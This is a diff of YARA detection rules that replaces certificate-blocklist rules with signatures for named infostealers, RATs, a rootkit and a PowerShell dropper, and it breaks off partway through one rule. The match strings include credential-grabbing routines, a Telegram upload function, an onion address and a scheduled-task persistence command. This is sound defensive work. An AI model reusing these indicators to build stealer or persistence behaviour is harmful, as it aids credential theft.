+rule DITEKSHEN_MALWARE_Win_Krakenstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect Kraken infostealer"
 		author = "ditekSHen"
-		id = "1ecfe521-0148-5a13-b23f-dd1b14b835ed"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "460eb574-99c9-5f78-9efa-7a8808aaaae7"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6814-L6829"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11027-L11048"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "08f52e96d1e93e2d406753fd0dee5d03501ac037ab022b710362b113eaae6239"
+		logic_hash = "7f15823db706e6e51d8ea58fb026efb49f42234255d2f448614dc645d12648bb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "646bbb3a37cc004bea6efcd48579d1a5776cb157"
-		hash1 = "3194e2fb68c007cf2f6deaa1fb07b2cc68292ee87f37dff70ba142377e2ca1fa"
-		importance = 20
+		snort = "923828002"
+
+	strings:
+		$x1 = /Kraken(_)?(Stub|Keyboard|Clipboard|GeneratorMachine|PostLogs|Screenshot|Keylogs|Password)/ ascii wide
+		$s1 = /(get|set)_(Clipboard|Keyboard|Screen)Recorder/ fullword ascii
+		$s2 = /Dumping(FileZilla|360_China|Opera|Epic|CocCoc|Thunderbird|Brave)/ fullword ascii
+		$s3 = "ScreenPostData" fullword ascii
+		$s4 = "encrypt_data" fullword ascii
+		$s5 = "KeyboardProc" fullword ascii
+		$s6 = "UploadsKeyboard" fullword ascii
+		$s7 = "ClpUploader" fullword ascii
+		$s8 = "StartKeylogger" fullword ascii
+		$s9 = "ClipoDetectedRemover" fullword ascii
+		$s10 = "Disable_Regis" fullword ascii
+		$s11 = "RecordedClips" fullword ascii
+		$s12 = "HoneyPotStatus" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Amcert LLC" and (pe.signatures[i].serial=="a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5" or pe.signatures[i].serial=="00:a7:58:50:4e:79:71:86:9d:0a:ec:27:75:ff:fa:03:d5"))
+		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of ($s*)) or 9 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F13A4F94Bf233525 : FILE
+rule DITEKSHEN_MALWARE_Win_Whiffyrecon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Whiffy Recon"
 		author = "ditekSHen"
-		id = "1d048571-661e-5d7f-a255-f07b84069b20"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "19b0f327-06ee-5f78-abac-9c4fbcad98ac"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6831-L6845"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11050-L11070"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "29284d9ced0d5e6d587edc9727321cdc7bf5ce4ad8407d460afa7f1e6d1bcb90"
+		logic_hash = "58df9f47f5890c5e31d352be682c6164a940dad206ad29c54c43f70d3afb9543"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "974eb056bb7467d54aae25a908ce661dac59c786"
-		importance = 20
+
+	strings:
+		$s1 = "WLANSVC" fullword wide
+		$s2 = "f02fe1c0-137a-4802-8881-55dd300c5022" fullword wide
+		$s3 = "\\wlan.lnk" fullword wide
+		$s4 = "str-12.bin" wide
+		$s5 = "/geolocation/v1/geolocate?key=" wide
+		$s6 = "/wlan" fullword wide
+		$s7 = "/scanned" fullword wide
+		$s8 = "/bots/" fullword wide
+		$s9 = "wlan.pdb" fullword ascii
+		$s10 = "botId" fullword ascii
+		$s11 = "wifiAccessPoints" fullword ascii
+		$s12 = "considerIp" fullword ascii
+		$s13 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SocketOptionName" and (pe.signatures[i].serial=="f1:3a:4f:94:bf:23:35:25" or pe.signatures[i].serial=="00:f1:3a:4f:94:bf:23:35:25"))
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_119Acead668Bad57A48B4F42F294F8F0 : FILE
+rule DITEKSHEN_MALWARE_Win_Quiterat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects QuiteRAT"
 		author = "ditekSHen"
-		id = "d3f45ee1-134f-5b16-81f8-83405a5e3181"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "54f7b899-3418-5074-8138-38cf073cda8c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6847-L6858"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11072-L11086"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bae9aed4f53059b2ec0de630f681bb157c148d9ad38be35dd8c1a74b19619077"
+		logic_hash = "257f9151294254e3e86979f184963f0396587438393b11bad068ba0f386cfc4a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "11ff68da43f0931e22002f1461136c662e623366"
-		importance = 20
+
+	strings:
+		$x1 = "< No Pineapple! >" ascii
+		$x2 = ".?AVPineapple" ascii
+		$x3 = ".?AVApple@@" ascii
+		$s1 = "XgsdCwsRFxZF" ascii
+		$s2 = "XggZChkVRQ==" ascii
+		$s3 = "RxUZERQRHEU=" ascii
+		$s4 = "XhkbDBEXFkU" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PB03 TRANSPORT LTD." and pe.signatures[i].serial=="11:9a:ce:ad:66:8b:ad:57:a4:8b:4f:42:f2:94:f8:f0")
+		uint16(0)==0x5a4d and (( all of ($x*) and 1 of ($s*)) or (1 of ($x*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_21144343720267Ba42F586105Ff279De : FILE
+rule DITEKSHEN_MALWARE_PWSH_CUMII
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects multi-dropper PowerShell"
 		author = "ditekSHen"
-		id = "54e4133f-4fb7-5f70-a4dc-77c6f8120d29"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "07b77251-1d79-5521-8c05-ecfc662f45cb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6860-L6871"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11088-L11104"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a1eacebed0966ad5d78eb7e38d8b854d183f21a19a53bbcb57503e4271b2cc84"
+		logic_hash = "ab9e59b0552718928d170a988d129b38352700076847f2f409976016858864eb"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "c56f79b4cc3a0e0894cd1e54facdf2db9d8ca62a"
-		importance = 20
+		tags = ""
+		clamav = "ditekSHen.MALWARE.PWSH.CUMII"
+
+	strings:
+		$s1 = ".('{1}{$}'.replace('$','0')" ascii nocase
+		$s2 = ",'I').replace('!','ex')" ascii nocase
+		$s3 = "'.replace('*','0001')" ascii nocase
+		$s4 = "Remove-Item $" ascii nocase
+		$s5 = "the File will start cumiing" ascii nocase
+		$b1 = "011001100111010101101110011*" ascii
+		$b2 = "0101001000*1110110*010011111" ascii
+		$b3 = "01001101010110101001*11*0000" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Varta Blue Dynamic" and pe.signatures[i].serial=="21:14:43:43:72:02:67:ba:42:f5:86:10:5f:f2:79:de")
+		(3 of ($s*) and 1 of ($b*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00A3Cb8E964244768969B837Ca9981De68 : FILE
+rule DITEKSHEN_MALWARE_Win_Agnianestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Agniane infostealer"
 		author = "ditekSHen"
-		id = "a9d74cc6-0d89-5de9-8f13-966455e49b9c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fcbbf748-dc01-579f-a6f8-37e0f3dea35e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6873-L6884"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11106-L11132"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d88c9ac03a4b3803b85c5ee30ad127aca43cbfc33d754bc42c15593f7294b1bc"
+		logic_hash = "0031fbe6d76868819cbcfc638433d60a50e8f5cfd14ff25af88ed3dffefd7d62"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5617114bc2a584532eba1dd9eb9d23108d1f9ea7"
-		importance = 20
+		snort = "923828001"
+		clamav = "ditekSHen.MALWARE.Win.AgnianeStealer"
+
+	strings:
+		$x1 = "Agniane.pdb" ascii
+		$x2 = "IEnumerable<Agniane.Classes.LogRecord>." ascii
+		$x3 = "Agniane Stealer" wide
+		$x4 = "cinoshibot" wide
+		$x5 = "yqbiguuno2zp5jxsmqbev4rwckvy27bqws5cgm3hiid7xolt65j72kqd.onion" wide
+		$s1 = "<Pass encoding=\"base64\">" wide
+		$s2 = "Domain Detect: detected {0}" wide
+		$s3 = "DOMAINDETECTCOOKIES" ascii
+		$s4 = /(Opera|Edge|Chrome|Brave|Vivaldi|Blink|Universal|Gecko|OperaGx|Firefox)Grabber/ fullword ascii
+		$u1 = "/antivm.php?id=" wide
+		$u2 = "/ferr.php?id=" wide
+		$u3 = ".php?ownerid=" wide
+		$u4 = "&buildid=" wide
+		$u5 = "&username=" wide
+		$u6 = "&BSSID=" wide
+		$u7 = "&rndtoken=" wide
+		$u8 = "&domaindetects=" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="a3:cb:8e:96:42:44:76:89:69:b8:37:ca:99:81:de:68" or pe.signatures[i].serial=="00:a3:cb:8e:96:42:44:76:89:69:b8:37:ca:99:81:de:68")
+		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and (2 of ($s*) or 3 of ($u*))) or ( all of ($s*) and 3 of ($u*)) or (7 of ($u*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Bd96F0B87Edca41E777507015B3B2775 : FILE
+rule DITEKSHEN_MALWARE_Win_TOITOIN_Kritaloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TOITOIN KritaLoader"
 		author = "ditekSHen"
-		id = "5ef0b542-01de-53ee-9a52-0a05bccccd22"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "5ff002fc-1108-554e-9de6-92d568826d1d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6886-L6900"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11134-L11145"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a9906821de34bf6a20bfe1a4be81563a22b110bde68fbe36b491955c23d2dcc6"
+		logic_hash = "9629a4cfa606812d2579c0c0d486dec5971854e5133f0594a4638db5b89c3135"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "abfa72d4a78a9e63f97c90bcccb8f46f3c14ac52"
-		importance = 20
+		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
+
+	strings:
+		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
+		$p2 = "DLL_Start_OK.pdb" ascii
+		$s1 = "krita_main" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ООО \"СМ\"" and (pe.signatures[i].serial=="bd:96:f0:b8:7e:dc:a4:1e:77:75:07:01:5b:3b:27:75" or pe.signatures[i].serial=="00:bd:96:f0:b8:7e:dc:a4:1e:77:75:07:01:5b:3b:27:75"))
+		uint16(0)==0x5a4d and (1 of ($p*) and 1 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E41537B8Dd65670D6Eb01954Becacf1E : FILE
+rule DITEKSHEN_MALWARE_Win_TOITOIN_Injectordll : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TOITOIN InjectorDLL"
 		author = "ditekSHen"
-		id = "80ac0d4e-5865-562a-a4a1-fa02b6859bdb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "40776e0a-29df-52ea-8486-35027ab31a1b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6902-L6916"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11147-L11159"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "94b7feb2d1ed8a7004599ac2018746bf43529f7cf7c4776fbdf21282013935c8"
+		logic_hash = "fc80c702305657ba1058ca7f55579d1d5254dd0f619c5f7fda7886a868b65c93"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "150ff604efa1e4868ea47c5d48244e57fa4b9196"
-		importance = 20
+		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
+
+	strings:
+		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
+		$p2 = "DLL_START_IN.pdb" ascii
+		$s1 = ".ini" fullword ascii
+		$s2 = "\\users\\Public\\Documents\\" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Marketing Concept s.r.o." and (pe.signatures[i].serial=="e4:15:37:b8:dd:65:67:0d:6e:b0:19:54:be:ca:cf:1e" or pe.signatures[i].serial=="00:e4:15:37:b8:dd:65:67:0d:6e:b0:19:54:be:ca:cf:1e"))
+		uint16(0)==0x5a4d and (1 of ($p*) and all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_06808C5934Da036A1297A936D72E93D4 : FILE
+rule DITEKSHEN_MALWARE_Win_TOITOIN_Downloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TOITOIN Downloader"
 		author = "ditekSHen"
-		id = "c75ae0da-e8b9-581f-bfde-f23b3b3f9d22"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0282ea26-e381-5c9a-9dad-c90246d8add0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6918-L6929"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11161-L11172"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "45840d354dcea86c38effc86b3b6f92540f32eab78286d51ff7f472618accb8b"
+		logic_hash = "d7e5e99c9266ec144152c3d1066e0e1a862f48ded17fab8f504192ca48219826"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "efb70718bc00393a01694f255a28e30e9d2142a4"
-		importance = 20
+		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
+
+	strings:
+		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
+		$s1 = { 20 2f 63 20 22 [6-15] 63 00 6d 00 64 00 00 00 6f 00 70 00 65 00 6e }
+		$o1 = { 48 83 fa 10 72 34 48 8b 8d 10 ?? 00 00 48 ff c2 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rhaon Entertainment Inc" and pe.signatures[i].serial=="06:80:8c:59:34:da:03:6a:12:97:a9:36:d7:2e:93:d4")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_97D50C7E3Ab45B9A441A37D870484C10 : FILE
+rule DITEKSHEN_MALWARE_Win_Venomrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects VenomRAT"
 		author = "ditekSHen"
-		id = "54c391df-ea76-5944-aae6-63f44ec557e5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "93cd5ae3-c222-51a2-bbb9-bdd3254006e5"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6931-L6942"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11174-L11188"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2f535f66a4aabffff48f167ffcabcb366398e358eaafa2b3d67ee4c7ad19eb66"
+		logic_hash = "47d343def76a323c66db4ba6fb1c0d119f45323f9b7f36695e4aeb7b070819d7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2e47ceb6593c9fdbd367da8b765090e48f630b33"
-		importance = 20
+
+	strings:
+		$x1 = "Venom RAT + HVNC" fullword ascii
+		$x2 = "Venom" fullword ascii
+		$x3 = "VenomByVenom" fullword wide
+		$s1 = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" fullword wide
+		$s2 = "UmVjZWl2ZWQ" wide
+		$s3 = "Pac_ket" fullword wide
+		$s4 = "Po_ng" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SHENZHEN MINIWAN TECHNOLOGY CO. LTD." and pe.signatures[i].serial=="97:d5:0c:7e:3a:b4:5b:9a:44:1a:37:d8:70:48:4c:10")
+		uint16(0)==0x5a4d and (1 of ($x*) and 2 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0B2B192657B37632518B08A06E201381 : FILE
+rule DITEKSHEN_MALWARE_Win_Sapphirestealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SapphireStealer"
 		author = "ditekSHen"
-		id = "917d2d66-f4b4-59b1-aeed-3b10c337d4b8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ed6cffe4-23f1-5791-b07d-75abb698c899"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6944-L6955"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11190-L11208"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "361005555e5d4b51c4538617c99fe668fca61ccc0c0847611e1423f69194999c"
+		logic_hash = "97088c0decf158d45a02571bd50b5f370c139339c19b8071f38c0f9816232d1f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ea017224c3b209abf53941cc4110e93af7ecc7b1"
-		importance = 20
+
+	strings:
+		$s1 = "Sapphire.Modules." ascii
+		$s2 = "sapphire\\" wide
+		$s3 = "by r3vengerx0" wide
+		$s4 = "Sapphire\\obj\\" ascii
+		$s5 = "[ERROR_GETSECRETKEY_METHOD]" fullword wide
+		$s6 = "[ERROR_CANT_GET_PASSWORD]" fullword wide
+		$s7 = "<h2>------NEW LOGS------</h2>" wide
+		$s8 = "[ERROR] can't create grab directory" wide
+		$s9 = "<UploadToTelegram>d__" ascii
+		$s10 = "UploadToTelegram" ascii
+		$s11 = ".SendLog+<UploadToTelegram>d__" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Atomic Protocol Systems" and pe.signatures[i].serial=="0b:2b:19:26:57:b3:76:32:51:8b:08:a0:6e:20:13:81")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00945Aaac27E7D6D810C0A542Bedd562A4 : FILE
+rule DITEKSHEN_MALWARE_Win_R77 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects r77 rootkit"
 		author = "ditekSHen"
-		id = "5698130c-0696-5474-8b86-b6ba290d2822"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "813d207e-c6d9-5fea-8387-19da33bc3317"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6957-L6972"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11210-L11235"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "292657717cb42835324b6ff42d563bca47e042e82afef24b5d666b16979b8103"
+		logic_hash = "e3ec6e88a3a77b7dc69eb51a528e6417f6b8695c7cb01d699cf248cebd9b84e2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "de7794505df4aeb1253500617e812f462592e163"
-		hash1 = "df3dabd031184b67bab7043baaae17061c21939d725e751c0a6f6b7867d0cf34"
-		importance = 20
+
+	strings:
+		$s1 = "startup" fullword wide
+		$s2 = "process_names" fullword wide
+		$s3 = "paths" fullword wide
+		$s4 = "service_names" fullword wide
+		$s5 = "tcp_local" fullword wide
+		$s6 = "tcp_remote" fullword wide
+		$s7 = "\\\\.\\pipe\\" wide
+		$s8 = "SOFTWARE\\" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DYNAMX BUSINESS GROUP LTD." and (pe.signatures[i].serial=="94:5a:aa:c2:7e:7d:6d:81:0c:0a:54:2b:ed:d5:62:a4" or pe.signatures[i].serial=="00:94:5a:aa:c2:7e:7d:6d:81:0c:0a:54:2b:ed:d5:62:a4"))
+		uint16(0)==0x5a4d and ( all of ($s*) or (5 of them and pe.exports("ReflectiveDllMain")) or (5 of them and for any i in (0..pe.number_of_sections) : ((pe.sections[i].name==".detourd"))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6D450Cc59Acdb4B7 : FILE
+rule DITEKSHEN_MALWARE_Win_Disco_Nightclub : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunts for Disco NightClub"
 		author = "ditekSHen"
-		id = "845e3f48-5660-525e-bd18-5953c64322f1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "79cbd351-e5d9-5f1f-8e73-71e0acca2707"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6974-L6985"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11237-L11255"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8328159dce3586c26b777f92d7a87e0660520cf08d122505d34ed427bdd7ff6f"
+		logic_hash = "ee0bd110ea1a3182284c4b3d6dd7eff48ca809a35a925147c716b18a88c0a233"
 		score = 75
-		quality = 75
+		quality = 51
 		tags = "FILE"
-		thumbprint = "bd3ac678cabb6465854880dd06b7b6cd231def89"
-		importance = 20
+
+	strings:
+		$s1 = "\\OfficeBroker\\OfficeBroker.exe" ascii wide nocase
+		$s2 = "\\EDGEUPDATE\\EDGEAOUT" ascii wide nocase
+		$s3 = "\\EDGEUPDATE\\update" ascii wide nocase
+		$s4 = "windows.system.update.com" ascii wide nocase
+		$s5 = "edgeupdate-security-windows.com" ascii wide nocase
+		$s6 = "nightclub::" ascii wide nocase
+		$s7 = "EncryptedPasswordFlt" ascii wide nocase
+		$s8 = "Microsoft\\def\\Gfr45.cfg" ascii wide nocase
+		$s9 = "::keylog::" ascii wide nocase
+		$pdb1 = "\\AbcdMainProject\\Rootsrc\\Projects\\MainS\\Ink\\" ascii wide nocase
+		$pdb2 = "\\Autogen\\Kh\\AutogenAlg\\" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CancellationTokenSource" and pe.signatures[i].serial=="6d:45:0c:c5:9a:cd:b4:b7")
+		uint16(0)==0x5a4d and ((1 of ($pdb*) and 2 of ($s*)) or (4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_66390Fc17786D4A342F0Ee89996D6522 : FILE
+rule DITEKSHEN_MALWARE_Win_Risepro : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "202e4270-9b49-5516-8188-a64bd528a9c4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects RisePro infostealer"
+		author = "ditekShen"
+		id = "77bc8791-cbe8-53b5-86f4-bc918454a6a6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6987-L6998"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11257-L11287"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a38d09beee8ddaa6e8273e04fe3c5cc9ff9a4e55344e2b9191bb3e5928e9e79b"
+		logic_hash = "f6f1832f316df51ca108a3c75034bd53c3823cd3d9b16da120e12e252dbf90ff"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "80e8620ff16598cc1e157a2b7df17d528b03b6e5"
-		importance = 20
+
+	strings:
+		$x1 = "t.me/riseprosupport" ascii wide nocase
+		$s1 = "failed readpacket" fullword wide
+		$s2 = "faield sendpacket" fullword wide
+		$s3 = "PersistWal" fullword wide
+		$s4 = /CRED_ENUMERATE_(ALL|SESSION)_CREDENTIALS/ fullword ascii
+		$s5 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" fullword wide
+		$s6 = { 4c 00 6f 00 67 00 69 00 6e 00 20 00 44 00 61 00
+                74 00 61 [10] 57 00 65 00 62 00 20 00 44 00 61 00
+                74 00 61 [2] 48 00 69 00 73 00 74 00 6f 00 72 00
+                79 [21] 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 }
+		$s7 = { 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00
